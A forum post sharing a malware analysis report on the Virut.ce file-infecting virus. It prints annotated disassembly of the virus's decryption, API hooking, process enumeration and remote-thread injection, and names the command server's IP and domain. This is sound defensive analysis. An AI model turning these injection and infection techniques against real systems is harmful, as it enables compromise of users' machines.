社区应用 最新帖子 精华区 社区服务 会员列表 统计排行
  • 6812阅读
  • 2回复

[分享]Virut变种感染型病毒分析报告

楼层直达
z3960 
级别: 茶馆馆主
发帖
770593
飞翔币
207694
威望
215657
飞扬币
2511651
信誉值
8

1.样本概况
病毒名称
Virus.Win32.Virut.ce
MD5
6A500B42FC27CC5546079138370C492F
文件大小
131 KB (134,144 字节)
壳信息
无壳
文件名
9-29_vir.exe(感染程序)
数字签名
NO
时间戳
2000年1月10日, 12:00:00
1.1 样本行为 恶意代码为感染型病毒,母体病毒通过将正常的PE文件进行加密,然后每个受感染的文件又可以进行全盘传播,通过连接国外IP服务器发送上线报文。1.2 测试环境及工具
操作系统
Windows7(x86)
行为检测
Wireshark、Api Monitor、Malware  Defender
文件检测
010 Editor、PEID
虚拟机平台
VMware10
调试工具
OD、IDA
1.3 分析目标1)样本的网络行为、文件行为2)感染传播的方式2、具体行为分析2.1 主要行为概述
2.2 恶意程序对用户造成的危害2.2.1 感染途径
  • 通过母体文件,或被母体文件感染过的文件感染。
  • 运行后会将恶意代码以及模块注入explorer.exeConhost.exewinlogo.exedwm.exe等进程。
2.2.2 恶意行为
  • 感染已经打开的进程和磁盘可执行文件,重写程序入口点的代码并指向病毒代码。
  • 与国外IP发送数据包进行通讯连接。
2.3 恶意代码分析2.3.1 恶意程序加固方式 1)加密处理:病毒代码处理经过多层的解密指令,运行过程中对后续代码进行解密,解密代码会变形。例如原反汇编指令代码如下:

[Asm] 纯文本查看 复制代码

?[tr=none]
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
00424772 imul edx,eax,0xCFA924B300424778 mov ecx,0x1A7DDAE20042477D sbb byte ptr ss:[ebp-0x223],dh; 带借位减法指令,这里会修改42479D位置的ret变成call00424783 pop edi00424784 lea edi,dword ptr ds:[edi-0x69B4>0042478A test dl,bh ; dl = 4D('M');查找文件头0042478C mov dl,ah0042478E adc al,bl00424790 adc al,cl00424792 push dword ptr ss:[ebp-0x17D]00424798 add edi,ebp ; 9-29_vir.004249C00042479A xchg cl,cl0042479C pop edx0042479D retn   ; import - NoTips ---- By Jmp2 -0042479E add al,0x3004247A0 add byte ptr ds:[eax],al004247A2 mov edi,edi 执行完【0042477D sbb byte ptr ss:[ebp-0x223],dh】这条语句后,机器码为C3的改成了E8,ret就变成了call。修改后的代码如下:
图:指令被修改 2)花指令:代码会在指令中增加00,在鼠标滑动时指令发生变化。
图:花指令2.3.2 恶意行为过程截获
  • 恶意行为(1)修改其他进程的内存:

图:修改其程序内存(2)API行为监控:
图:API行为监控(3)感染文件变化:
图:源文件与感染文件对比
  • 网络行为
 通过Malware Defender对被感染的文件进行监控,发现每个被感染的文件自成母体病毒文件向当前的系统进程dwm.exe进行了修改。通过dwm.exe文件访问国外IP。
图:注入进程,进程访问网络 病毒运行后会访问国外IP:148.81.111.121,通过VT查询该IP与多个恶意代码HASH绑定,Wireshark抓包后的数据包:
图:访问IP 通过Windows系统自带的DNS记录跟踪大量域名后,通过系统命令确定病毒感染后访问的国外IP绑定的域名为ant.trenz.pl。
图:Windwos自带DNS记录访问的域名
图:系统命令关联域名的IP地址2.3.3 恶意程序的代码分析记录2.3.3.1 调用病毒代码 病毒代码执行前,首先获取kernel32.dll入口循环遍历代码所需函数,通过IDA静态可查看代码运行的结构是在不断进行循环。
图:OD-kernel32入口地址
图:IDA-kernel32函数地址遍历 当面对这类感染类病毒,很多使用寄存器进行传值的指令是无法用IDA轻轻松松F5查看源码的。 所以分析过程中我采用通过行为监控+动态调试的思路分析!打开Malware Defender,借助吾爱破解OD进行F8单层步过直到程序结束。当Malware Defender出现关键行为时,对走过的call进行记录,然后深入这个call再逐层分析。 跟踪到第6个函数时,程序出现了修改其他进程内存、其他进程中创建线程的行为。
图:第6个call为重点分析函数 通过反复还原虚拟机快照对比,发现该病毒在感染后 [cmp al,bl]执行的分支是不一样的,如果没有被感染的系统JNZ不跳转程序继续向下执行,否则JNZ则跳转到下一个分支处。对比值是eax与ebx的寄存器的低位值。此时的AL与BL的值分别为:Al=B7,Bl=00。 为了验证这个【B7】的值是否为随机值,切换到另外一台虚拟机再次单步跟踪有操作EAX的的位置,发现在00424A38地址处执行完【mov eax,dword ptr ds:[eax+0x34];】,B7的值就没有发生过改变,由此得出B7这个值就是病毒判断系统有没有被感染的标识,对比反汇编代码如下:

[Asm] 纯文本查看 复制代码

?[tr=none]
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
00424A38 mov eax,dword ptr ds:[eax+0x34]; 获取感染标志位00424A3B jmp short 9-29_vir.00424A5D00424A3D and al,0xFF00424A3F cmc00424A40 mov edx,0x8B090FE100424A45 sete dh00424A48 inc ch00424A4A push 0xC0FCDCDC00424A4F call 9-29_vir.00424845    ; ----00424A54 and al,al00424A56 xor ecx,ebp               ; 9-29_vir.004249C000424A58 call 9-29_vir.00424841    ; -----00424A5D cmp al,bl                 ; 判断是否被感染00424A5F jnz short 9-29_vir.00424A6A; 已感染则跳转00424A61 xchg dh,al                ; 该分支1在未感染时,执行00424A63 xchg esi,edx00424A65 call 9-29_vir.00424702    ; ;重点分析函数;import00424A6A push 0xBC8257D8           ; 感染后执行的分支200424A6F jmp short 9-29_vir.00424A7400424A71 mov ebx,ebx               ; kernel32.75EC000000424A73 clc00424A74 xchg ch,cl所有寄存器当前的值如下:

[Asm] 纯文本查看 复制代码

?[tr=none]
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
EAX 000000B7ECX 0012FF70EDX 00000000EBX 75EC0000 kernel32.75EC0000ESP 0012FF38EBP 004249C0 9-29_vir.004249C0ESI E2FCE64AEDI 00000506EIP 00424A5D 9-29_vir.00424A5DC 1  ES 0023 32位 0(FFFFFFFF)P 1  CS 001B 32位 0(FFFFFFFF)A 0  SS 0023 32位 0(FFFFFFFF)Z 1  DS 0023 32位 0(FFFFFFFF)S 0  FS 003B 32位 7FFDE000(4000)T 0  GS 0000 NULLD 0O 0  LastErr ERROR_ALREADY_EXISTS (000000B7)EFL 00000247 (NO,B,E,BE,NS,PE,GE,LE)ST0 empty 0.0ST1 empty 0.0ST2 empty 0.0ST3 empty 0.0ST4 empty 0.0ST5 empty 0.0ST6 empty 0.0ST7 empty 0.0               3 2 1 0      E S P U O Z D IFST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)FCW 027F  Prec NEAR,53  掩码    1 1 1 1 1 1 当前已知关键感染代码都在00424A65地址的call内,那么按照原有思路继续根据行为找关键call,F8单步跟踪所有的call后借助监控行为软件的结果细化分析各层call内的反汇编指令。2.3.3.2 代码混淆 病毒代码处理存在两种方式,一种是对后续代码进行解密,解密代码会变形。另一种是后续代码是明文未加密直接调用明文。例如原反汇编指令代码如下:

[Asm] 纯文本查看 复制代码

?[tr=none]
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
00424772 imul edx,eax,0xCFA924B300424778 mov ecx,0x1A7DDAE20042477D sbb byte ptr ss:[ebp-0x223],dh  ; 带借位减法指令,这里会修改42479D位置的ret变成call00424783 pop edi00424784 lea edi,dword ptr ds:[edi-0x69B4>0042478A test dl,bh                      ; dl = 4D('M');查找文件头0042478C mov dl,ah0042478E adc al,bl00424790 adc al,cl00424792 push dword ptr ss:[ebp-0x17D]00424798 add edi,ebp                     ; 9-29_vir.004249C00042479A xchg cl,cl0042479C pop edx0042479D retn                            ; import - NoTips ---- By Jmp2 -0042479E add al,0x3004247A0 add byte ptr ds:[eax],al004247A2 mov edi,edi执行完【0042477D sbb byte ptr ss:[ebp-0x223],dh】这条语句后,机器码为C3的改成了E8,ret就变成了call。修改后的代码如下:
图:指令被修改在跟随中遇到获取kernel32.dll解密代码的算法。反汇编代码如下:

[Asm] 纯文本查看 复制代码

?[tr=none]
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
00424896 xor eax,eax                   ; kernel32.BaseThreadInitThunk00424898 imul eax,eax,0xF              ; eax == eax*0xF0042489B lea ebx,dword ptr ds:[esi-0x18]; ebx = esi - 0x180042489E inc ebx                       ; ebx = ebx + 10042489F lea ebx,dword ptr ds:[eax-0x3] ; ebx = eax-0x3004248A2 movzx ecx,byte ptr ds:[esi+0x3]; Kernel32函数存放004248A6 sbb bh,0xCB                   ; bh = bh - bh - CF004248A9 dec ebx                       ; ebx = ebx - 1004248AA adc bl,0x25                   ; bl =bl + 0x25 + CF004248AD not ebx                       ; 位翻转指令,将操作数中的每一位翻转004248AF sub eax,ecx                   ; eax = eax - ecx004248B1 sub esi,-0x12004248B4 lea esi,dword ptr ds:[esi-0x11]; 取有效地址004248B7 cmp byte ptr ds:[esi+0x3],0xA ; 获取所有kernel32.dll函数004248BB jnb short 9-29_vir.00424898   ;大于或等于转移,因为kernel32.dll函数后的下一个是0xA(换行符)
图:OD-反汇编代码指令块通过jmp连接,跳转后有指令变形的红色提示。
图:通过JMP连接2.3.3.3 挂钩底层API函数 进入代码变形后的指令继续跟踪,发现挂钩了底层API函数。对应的七个函数分别为ZwCreateFile、ZwOpenFile、ZwCreateProcess、ZwCreateProcessEx、ZwCreateUserProcess、ZwQueryInformationProcess、ZwDeviceIoControlFile;反汇编指令如下:

[Asm] 纯文本查看 复制代码

?[tr=none]
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
0041E339 mov eax,dword ptr ss:[ebp+0xD2723C6]   ; ntdll.ZwCreateFile0041E33F push dword ptr ds:[eax+0x1]0041E342 pop dword ptr ss:[ebp+0xD277592]0041E348 cmp dword ptr ss:[ebp+0xD277592],0xFFFF0041E352 ja 9-29_vir.0041E2A90041E358 mov eax,dword ptr ss:[ebp+0xD2723E2]   ; ntdll.ZwOpenFile0041E35E push dword ptr ds:[eax+0x1]0041E361 pop dword ptr ss:[ebp+0xD277617]0041E367 cmp dword ptr ss:[ebp+0xD277617],0xFFFF0041E371 ja 9-29_vir.0041E2A90041E377 mov eax,dword ptr ss:[ebp+0xD2723CA]   ; ntdll.ZwCreateProcess0041E37D push dword ptr ds:[eax+0x1]0041E380 pop dword ptr ss:[ebp+0xD277621]0041E386 cmp dword ptr ss:[ebp+0xD277621],0xFFFF0041E390 ja 9-29_vir.0041E2A90041E396 mov ecx,dword ptr ss:[ebp+0xD2723CE]   ; ntdll.ZwCreateProcessEx0041E39C jecxz short 9-29_vir.0041E3D80041E39E push dword ptr ds:[ecx+0x1]0041E3A1 pop dword ptr ss:[ebp+0xD27762E]0041E3A7 cmp dword ptr ss:[ebp+0xD27762E],0xFFFF0041E3B1 ja 9-29_vir.0041E2A90041E3B7 mov ecx,dword ptr ss:[ebp+0xD2723D6]   ; ntdll.ZwCreateUserProcess0041E3BD jecxz short 9-29_vir.0041E3D80041E3BF push dword ptr ds:[ecx+0x1]0041E3C2 pop dword ptr ss:[ebp+0xD27763B]0041E3C8 cmp dword ptr ss:[ebp+0xD27763B],0xFFFF0041E3D2 ja 9-29_vir.0041E2A90041E3D8 mov ecx,dword ptr ss:[ebp+0xD2723F2]   ; ntdll.ZwQueryInformationProcess0041E3DE jecxz short 9-29_vir.0041E3FC0041E3E0 push dword ptr ds:[ecx+0x1]0041E3E3 pop dword ptr ss:[ebp+0xD27766F]0041E3E9 cmp dword ptr ss:[ebp+0xD27766F],0xFFFF0041E3F3 jbe short 9-29_vir.0041E3FC0041E3F5 and dword ptr ss:[ebp+0xD2723F2],0x00041E3FC lea eax,dword ptr ss:[ebp+0xD2721A4]0041E402 lea edi,dword ptr ss:[ebp+0xD277934]0041E408 push eax                               ; ntdll.ZwDeviceIoControlFile
图:OD-挂钩七个底层API函数2.3.3.4 自身映射到开辟的内存中 第三层数第3个call后。F8跟踪过程中有一个底层API函数,ZwMapViewOfSection作用为创建内存将自身映射到进程中:
图:OD-调用ZwMapViewOfSection2.3.3.5 解密代码 第三层第4个call中还在进行多个循环进行判断解密长度、解密数据,当这个call运行完毕,指令块发生改变。

[Asm] 纯文本查看 复制代码

?[tr=none]
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
001F035B sub ebx,0x66E4001F0361 and ecx,0x7FFF001F0367 bt dword ptr ss:[ebp+0xD271C9E],ebx001F036E jnb short 001F0373001F0370 inc esi001F0371 jmp short 001F0399001F0373 cmp dword ptr ss:[ebp+0xD271E1A],0x0001F037A je short 001F0398001F037C mov eax,ebx001F037E sub eax,dword ptr ss:[ebp+0xD271E1A]001F0384 jb short 001F0398001F0386 cmp eax,0x4001F038B jnb short 001F0398001F038D mov al,byte ptr ds:[eax+ebp+0xD271E1E]001F0394 inc esi001F0395 stos byte ptr es:[edi]001F0396 jmp short 001F0399001F0398 movs byte ptr es:[edi],byte ptr ds:[esi]001F0399 inc ebx001F039A loopd short 001F0367                   ; 循环204次001F039C inc dl001F039E pop esi                                ; 001F0780001F039F cmp dl,byte ptr ss:[ebp+0xD27189D]     ; 比对条件,对指令变形001F03A5 jb short 001F0340001F03A7 push 0x2E001F03AC lea esi,dword ptr ss:[ebp+0xD271E22]001F03B2 pop ecx                                ; 001F0780001F03B3 movzx edx,word ptr ds:[esi]001F03B6 movzx eax,word ptr ds:[esi+0x4]001F03BA movzx ebx,word ptr ds:[esi+0x2]001F03BE sub eax,ebx001F03C0 mov dword ptr ds:[edx+ebp+0xD271000],eax001F03C7 sub ebx,edx001F03C9 mov al,byte ptr ds:[edx+ebp+0xD270FFF]001F03D0 cmp ebx,0x4                            ; 比对长度001F03D3 jnz short 001F0401001F03D5 cmp al,0xE8001F03D7 je short 001F0401001F03D9 cmp al,0xE9001F03DB je short 001F0401001F03DD cmp al,0xEB001F03DF jnz short 001F03EB001F03E1 mov byte ptr ds:[edx+ebp+0xD270FFF],0xE9001F03E9 jmp short 001F0401001F03EB mov al,0xF001F03ED xchg byte ptr ds:[edx+ebp+0xD270FFE],al001F03F4 cmp al,0xF001F03F6 je short 001F0401001F03F8 add al,0x10001F03FA mov byte ptr ds:[edx+ebp+0xD270FFF],al001F0401 add esi,0x6001F0404 loopd short 001F03B3                   ; 循环46次
图:OD-Loop循环结束,指令块发生改变2.3.3.6 遍历进程 跟进001F0796这个call内,病毒在此处进行了遍历进程的操作,但在此之前调用了FreeLibrary、CloseHandle可见已经进行了加载某个模块的操作。通过CreateToolhelp32Snapshot通过获取进程信息、进程使用的堆[HEAP]、模块[MODULE]、线程建立一个快照,然后跳过前4个进程后程序继续向下执行,反汇编代码如下:

[Asm] 纯文本查看 复制代码

?[tr=none]
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
001F07C9 call dword ptr ss:[ebp+0xD2722E6]; kernel32.CreateToolhelp32Snapshot001F07CF mov ecx,0x128001F07D4 xchg eax,edi001F07D5 sub esp,ecx001F07D7 mov dword ptr ss:[esp],ecx001F07DA push esp                        ; 进程结信息结构体001F07DB push edi                        ; 句柄001F07DC call dword ptr ss:[ebp+0xD27233E]; kernel32.Process32First001F07E2 xor esi,esi001F07E4 and dword ptr ss:[ebp+0xD277A94],0x0001F07EB push esp                        ; 进程结信息结构体001F07EC push edi                        ; 句柄001F07ED call dword ptr ss:[ebp+0xD272342]; kernel32.Process32Next001F07F3 test eax,eax001F07F5 je short 001F0865001F07F7 inc esi001F07F8 cmp esi,0x4                     ; 前4个进程名则继续遍历001F07FB jb short 001F07EB001F07FD push dword ptr ss:[esp+0x8]     ; 进程标示符001F0801 push 0x0                        ; 是否继承句柄001F0803 push 0x2A                       ; 渴望得到的访问权限
图:OD-遍历进程2.3.3.7 创建远程线程注入前四个进程遍历后使用OpenProcess做打开操作, CreateRemoteThread创建远程线程,反汇编如下:

[Asm] 纯文本查看 复制代码

?[tr=none]
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
001F07F8 cmp esi,0x4      ; 前4个进程名则继续遍历001F07FB jb short 001F07EB001F07FD push dword ptr ss:[esp+0x8]; 进程标示符001F0801 push 0x0         ; 是否继承句柄001F0803 push 0x2A        ; 渴望得到的访问权限001F0805 call dword ptr ss:[ebp+0xD27233A]; kernel32.OpenProcess001F080B test eax,eax001F080D je short 001F07EB001F080F xchg eax,ebx001F0810 call 001F2574001F0815 xor ecx,ecx001F0817 xchg eax,ecx001F0818 jecxz short 001F085C001F081A cmp dword ptr ss:[ebp+0xD277A94],eax001F0820 jnz short 001F085C001F0822 mov edx,dword ptr ss:[esp+0x24]001F0826 or edx,0x20202020001F082C cmp edx,0x73727363001F0832 je short 001F085C001F0834 add ecx,0x3C38001F083A push eax001F083B push esp001F083C push eax001F083D push esi001F083E push ecx001F083F push eax001F0840 push eax                        ; 指向SECURITY_ATTRIBUTES结构指定新的线程安全描述符001F0841 push ebx                        ; 进程句柄001F0842 call dword ptr ss:[ebp+0xD2722DE]; kernel32.CreateRemoteThread
图:OD-创建远程线程注入2.3.3.8 修改进程内存 单步跟踪发现每次经过001F0810地址的call便会出现修改其他进程内存的操作, 深入分析,发现这个call内会挂钩其七个api函数,挂钩的已知Api函数名为:ZwOpenSection、ZwMapViewOfSection、ZwDeviceIoControlFile、ZwCreateFile、ZwOpenFile、ZwCreateProcess、ZwCreateProcessEx、ZwCreateUserProcess、ZwQueryInformationProcess,反汇编如下:

[Asm] 纯文本查看 复制代码

?[tr=none]
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
001F255D push eax001F255E call dword ptr ss:[ebp+0xD2723EA]; ntdll.ZwOpenSection001F2564 add esp,0x20001F2567 xor edx,edx001F2569 test eax,eax001F256B setns dl001F256E neg edx001F2570 pop eax   ; 001F0863001F2571 and eax,edx001F2573 retn      ; 这里直接跳转到下一个函数001F2574 push edi……….001F2574 push edi001F2575 xor edi,edi001F2577 call 001F252F001F257C je 001F2661001F2582 push eax001F2583 push 0xB7C4001F2588 mov edx,esp001F258A push 0x0001F258C mov ecx,esp001F258E push 0x40   ; Win32Protect001F2590 push 0x100000; AllocationType001F2595 push 0x2    ; InheritDisposition001F2597 push edx    ; ViewSize001F2598 push 0x0    ; SectionOffset001F259A push 0xB7C4 ; CommitSize001F259F push 0x0    ; ZeroBits001F25A1 push ecx    ; *BaseAddress001F25A2 push ebx    ; ProcessHandle001F25A3 push eax    ; SectionHandle001F25A4 call dword ptr ss:[ebp+0xD2723DE]; ntdll.ZwMapViewOfSection001F25AA pop edi001F25AB pop ecx001F25AC call dword ptr ss:[ebp+0xD2722C6]; kernel32.CloseHandle001F25B2 test edi,edi001F25B4 je 001F2661001F25BA mov ecx,dword ptr ss:[ebp+0xD271891]001F25C0 jecxz short 001F25CE001F25C2 lea edx,dword ptr ss:[ebp+0xD271000]001F25C8 add edx,ecx001F25CA push edi001F25CB push ebx001F25CC call edx                           ; ntdll.KiFastSystemCallRet001F25CE>test dword ptr ss:[ebp+0xD275B83],0x001F25D8 je short 001F25EF001F25DA mov eax,dword ptr ss:[ebp+0xD2723DA]; ntdll.ZwDeviceIoControlFile001F25E0 test eax,eax001F25E2 je short 001F25EF001F25E4 lea ecx,dword ptr ds:[edi+0x68B1]001F25EA call 001F2477001F25EF mov eax,dword ptr ss:[ebp+0xD2723C6]; ntdll.ZwCreateFile001F25F5 lea ecx,dword ptr ds:[edi+0x6591]001F25FB call 001F2477001F2600 mov eax,dword ptr ss:[ebp+0xD2723E2]; ntdll.ZwOpenFile001F2606 lea ecx,dword ptr ds:[edi+0x6616]001F260C call 001F2477001F2611 mov eax,dword ptr ss:[ebp+0xD2723CA]; ntdll.ZwCreateProcess001F2617 lea ecx,dword ptr ds:[edi+0x6620]001F261D call 001F2477001F2622 mov eax,dword ptr ss:[ebp+0xD2723CE]; ntdll.ZwCreateProcessEx001F2628 test eax,eax001F262A je short 001F2637001F262C lea ecx,dword ptr ds:[edi+0x662D]001F2632 call 001F2477001F2637 mov eax,dword ptr ss:[ebp+0xD2723D6]; ntdll.ZwCreateUserProcess001F263D test eax,eax001F263F je short 001F264C001F2641 lea ecx,dword ptr ds:[edi+0x663A]001F2647 call 001F2477001F264C mov eax,dword ptr ss:[ebp+0xD2723F2]; ntdll.ZwQueryInformationProcess001F2652 test eax,eax001F2654 je short 001F2661001F2656 lea ecx,dword ptr ds:[edi+0x666E]001F265C call 001F2477001F2661 mov eax,edi001F2663 pop edi001F2664 retn
图:OD-挂钩底层API函数2.3.3.9 发送网络数据包在远程线程注入执行后,在winlogon.exe进程出现了联网行为。再此之前的单步跟踪则是dwm.exe进行联网访问,推测病毒是将联网执行的恶意代码注入到某个进程后,将联网操作交给了被注入的进程中。且联网的进程是存在随机性的。
图:联网行为监控运行后会访问国外IP:148.81.111.121,通过VT查询该IP与多个恶意代码HASH绑定,Wireshark抓包后的数据包:
图:访问IP通过Windows系统自带的DNS记录跟踪大量域名后,用系统命令确定病毒感染后访问的国外IP绑定的域名为ant.trenz.pl。
图:Windwos自带DNS记录访问的域名
图:系统命令关联域名的IP地址PChunter查看winlogon已经被注入了3个线程。
2.3.3.10 恢复执行原始文件跟到最后的几个call,已经是运行原先程序的代码。因为我用母体感染的是我自己写的程序。printf(“11111111”)就是。。。3、思考小结这个病毒分析起来还是有意思的,没有办法像某些常见病毒一样可以IDA F5大法轻松查看伪C代码。C和汇编的基础需要提升的前提下,也引发了一些思考。1、病毒分析方面
  • 1)使用OD动态调试对于病毒运行的流程架构不像IDA一般清晰,如何使用IDAPython辅助将esi等寄存器传值的函数在IDA中标识出来让自己通过静态分析,提升分析速度。
  • 2)对于挂钩底层API函数这里,是在同事指点下修正过了。网上的文章分析中提到使用了zwXXXXX这类函数就是挂钩了内核函数是不严谨的。只能相当于调用了系统DLL中比较底层的函数,距离内核还差一段距离。2、编程技术方面
  • 1)如果是我自己写这类程序,还有什么思路可以隐藏进程。
  • 2)注入到系统进程内存中的数据,采用什么手段可以排查。
关键词: bot 系统 软件 360 安全
我不喜欢说话却每天说最多的话,我不喜欢笑却总笑个不停,身边的每个人都说我的生活好快乐,于是我也就认为自己真的快乐。可是为什么我会在一大群朋友中突然地就沉默,为什么在人群中看到个相似的背影就难过,看见秋天树木疯狂地掉叶子我就忘记了说话,看见天色渐晚路上暖黄色的灯火就忘记了自己原来的方向。
级别: 超级版主
发帖
837479
飞翔币
228822
威望
224673
飞扬币
2467358
信誉值
0

只看该作者 1 发表于: 2022-02-01
来看一下
级别: 超级版主
发帖
837479
飞翔币
228822
威望
224673
飞扬币
2467358
信誉值
0

只看该作者 2 发表于: 2022-02-01
不错,了解了